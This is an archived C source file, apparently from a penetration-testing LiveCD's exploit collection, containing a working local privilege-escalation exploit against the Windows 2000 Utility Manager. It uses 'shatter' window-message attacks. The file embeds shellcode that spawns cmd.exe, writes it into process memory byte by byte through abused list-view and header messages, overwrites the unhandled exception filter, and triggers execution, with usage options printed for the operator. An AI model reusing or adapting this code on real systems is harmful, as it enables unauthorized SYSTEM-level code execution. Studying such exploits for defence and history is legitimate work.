home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / winMsgSubSysExp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  207 lines

  1. //---------------------------UtlExp.c------------------------------
  2. /******************************************************************
  3. *sectroyer
  4. *Random Intruders
  5. *
  6. *The exploit uses two shatter vulnerabilities to cause
  7. *the execution of code. The first option isn't universal
  8. *but two others should work with any Win2k with any 
  9. *language(of course on condition, that you will set
  10. *the correct main window title).
  11. *
  12. *sectroyer@go2.pl
  13. *
  14. *******************************************************************/
  15. #include <stdio.h>
  16. #include <windows.h>
  17. #include <commctrl.h>
  18. #define NOP 0x90
  19. #define UEF long(__stdcall*)(_EXCEPTION_POINTERS*)
  20. // Local Cmd Shellcode
  21. unsigned char exec[]=
  22. "\x55" // push ebp
  23. "\x8b\xec" // mov ebp, esp
  24. "\x33\xc0" // xor esi, esi
  25. "\x50" // push esi
  26. "\x68.exe" // push 'exe.'
  27. "\x68 cmd" // push 'cmd '
  28. "\x40" // inc esi
  29. "\x50" // push esi
  30. "\x8d\x45\xF5" // lea edi, [ebp-0xf]
  31. "\x50" // push edi
  32. "\xb8XXXX" // mov eax, XXXX -> 
  33. WinExec()
  34. "\xff\xd0" // call eax
  35. "\x33\xf6" // xor esi,esi
  36. "\x4e" // dec esi
  37. "\x50" // push esi
  38. "\xb8YYYY" // mov eax, YYYY -> 
  39. ExitProcess()
  40. "\xff\xd0" // call eax
  41. "\x5d" // pop ebp
  42. "\x5d" // pop ebp
  43. "\x5d" // pop ebp
  44. "\x5d" // pop ebp
  45. "\xC3"; // ret
  46. unsigned char buf[2048];
  47. long hLVControl,hHdrControl,t=0;
  48. char *tWindow;
  49. char tWindowEn[]="Utility Manager";// The name of the main window
  50. char tWindowPl[]="Mened?er narz?dzi";// The name of the main window
  51. long sehHandler = 0x12345678; // Critical Address To Overwrite
  52. long shellcodeaddr = 0x7FFDE060; // Known Writeable Space Or 
  53. Global Space
  54. long FindUnhandledExceptionFilter();
  55. void doWrite(long tByte,long address);
  56. void IterateWindows(long hWnd);
  57. int main(int argc, char *argv[])
  58. {
  59. long hWnd;
  60. HMODULE hMod;
  61. DWORD ProcAddr;
  62. printf("Utility Manager Exploit written by sectroyer 
  63. <sectroyer@go2.pl>\n");
  64. printf("Usage: %s <language> <option>\n", argv[0]);
  65. printf("Languages:\n<0> Engilish\n<1> Polish\n");
  66. printf("Options:\n");
  67. printf("<0> LVM_SORTITEMS Vulnerability\n");
  68. printf("<1> HDM_GETITEMRECT using UnhandledExcpetionFilter\n");
  69. printf("<2> HDM_GETITEMRECT using LVM_SORTITEMS 
  70. Vulnerability\n");
  71. if(argc!=3)
  72. return 0;
  73. if(atoi(argv[2])<0||atoi(argv[2])>2)
  74. return 0;
  75. if(atoi(argv[1])<0||atoi(argv[1])>1)
  76. return 0;
  77. if(!atoi(argv[1]))
  78. tWindow=tWindowEn;
  79. else
  80. tWindow=tWindowPl;
  81. // Find local procedure address
  82. t=atoi(argv[2]);
  83. PROCESS_INFORMATION pi;
  84. STARTUPINFO si={sizeof(STARTUPINFO)};
  85. CreateProcessA
  86. (NULL,"utilman.exe /start",NULL,NULL,NULL,NULL,NULL,NULL,&si,&pi);
  87. Sleep(1000);
  88. hMod = LoadLibrary("kernel32.dll");
  89. *(long*)&exec[(int)(strstr((char*)exec,"XXXX")-exec)]=(long)
  90. GetProcAddress(hMod,"WinExec");
  91. *(long*)&exec[(int)(strstr((char*)exec,"YYYY")-exec)]=(long)
  92. GetProcAddress(hMod,"ExitProcess");
  93. printf("[+] Finding %s Window...\n",tWindow);
  94. hWnd = (long)FindWindow(NULL,tWindow);
  95. if(hWnd == NULL)
  96. {
  97. printf("[-] Couldn't Find %s Window\n",tWindow);
  98. return 0;
  99. }
  100. printf("[+] Found Main Window At...0x%xh\n",hWnd);
  101. IterateWindows(hWnd);
  102. printf("[-] Not Done...\n");
  103. return 0;
  104. }
  105. void doWrite(long tByte,long address)
  106. {
  107. SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,
  108. 0,MAKELPARAM(tByte, 0));
  109. SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
  110. }
  111. long FindUnhandledExceptionFilter()
  112. {
  113. long *pos;
  114. void *hLib;
  115. hLib=LoadLibraryA("kernel32.dll");
  116. pos = (long*)hLib;
  117. SetUnhandledExceptionFilter((UEF)0xA1A2A3A4);
  118. __try
  119. {
  120. while(1)
  121. {
  122. if(*pos==0xA1A2A3A4)
  123. {
  124. SetUnhandledExceptionFilter((UEF)0xB4B3B2B1);
  125. if(*pos==0xB4B3B2B1)
  126. {
  127. SetUnhandledExceptionFilter((UEF)0xFADEFADE);
  128. if(*pos==0xFADEFADE)
  129. break;
  130. }
  131. }
  132. pos++;
  133. }
  134. }
  135. __except(1)
  136. {
  137. return NULL;
  138. }
  139. return (long)pos;
  140. }
  141. void IterateWindows(long hWnd)
  142. {
  143. long childhWnd,looper;
  144. childhWnd = (long)GetNextWindow((void*)hWnd,GW_CHILD);
  145. while (childhWnd != NULL)
  146. {
  147. IterateWindows(childhWnd);
  148. childhWnd = (long)GetNextWindow((void*)
  149. childhWnd ,GW_HWNDNEXT);
  150. }
  151. hLVControl = hWnd;
  152. hHdrControl = SendMessage((HWND) hLVControl,(UINT) 
  153. LVM_GETHEADER, 0,0);
  154. if(hHdrControl != NULL)
  155. {
  156. // Found a Listview Window with a Header
  157. printf("[+] Found listview window..0x%xh\n",hLVControl);
  158. if(t!=0)
  159. {
  160. printf("[+] Found lvheader window..0x%xh\n",hHdrControl);
  161. // Inject shellcode to known address
  162. printf("[+] Sending shellcode to...0x%xh\n",shellcodeaddr);
  163. for (looper=0;looper<sizeof(exec);looper++)
  164. doWrite((long) exec[looper],(shellcodeaddr + looper));
  165. // Overwrite SEH
  166. printf("[+] Finding UnhandledExceptionFilter....\n");
  167. sehHandler=FindUnhandledExceptionFilter();
  168. printf("[+] Overwriting Top SEH....0x%xh\n",sehHandler);
  169. doWrite(((shellcodeaddr) & 0xff),sehHandler);
  170. doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
  171. doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
  172. doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
  173. }
  174. if(t==0)
  175. {
  176. printf("[+] LVM_SORTITEMS Vulnerability\n");
  177. COPYDATASTRUCT cds;
  178. memset(buf,NOP,sizeof(buf));
  179. memcpy(buf+700,exec,sizeof(exec)-1);
  180. cds.cbData=1000;
  181. cds.dwData=0;
  182. cds.lpData=buf;
  183. SendMessage((void*)hWnd, WM_COPYDATA, (WPARAM)hWnd, 
  184. (LPARAM)&cds);
  185. SendMessage( (PVOID)hLVControl, LVM_SORTITEMS, 1, 
  186. 0x007efd04);
  187. printf("[+] Done...\n");
  188. }
  189. else if(t==1)
  190. {
  191. printf("[+] HDM_GETITEMRECT Using 
  192. UnhandledExceptionFilter\n");
  193. SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
  194. printf("[+] Done...\n");
  195. }
  196. else if(t==2)
  197. {
  198. printf("[+] HDM_GETITEMRECT Using LVM_SORTITEMS 
  199. Vulnerability\n");
  200. SendMessage((HWND) hLVControl,(UINT) 
  201. LVM_SORTITEMS,1,shellcodeaddr);
  202. printf("[+] Done...\n");
  203. }
  204. exit(0);
  205. }
  206. }
  207.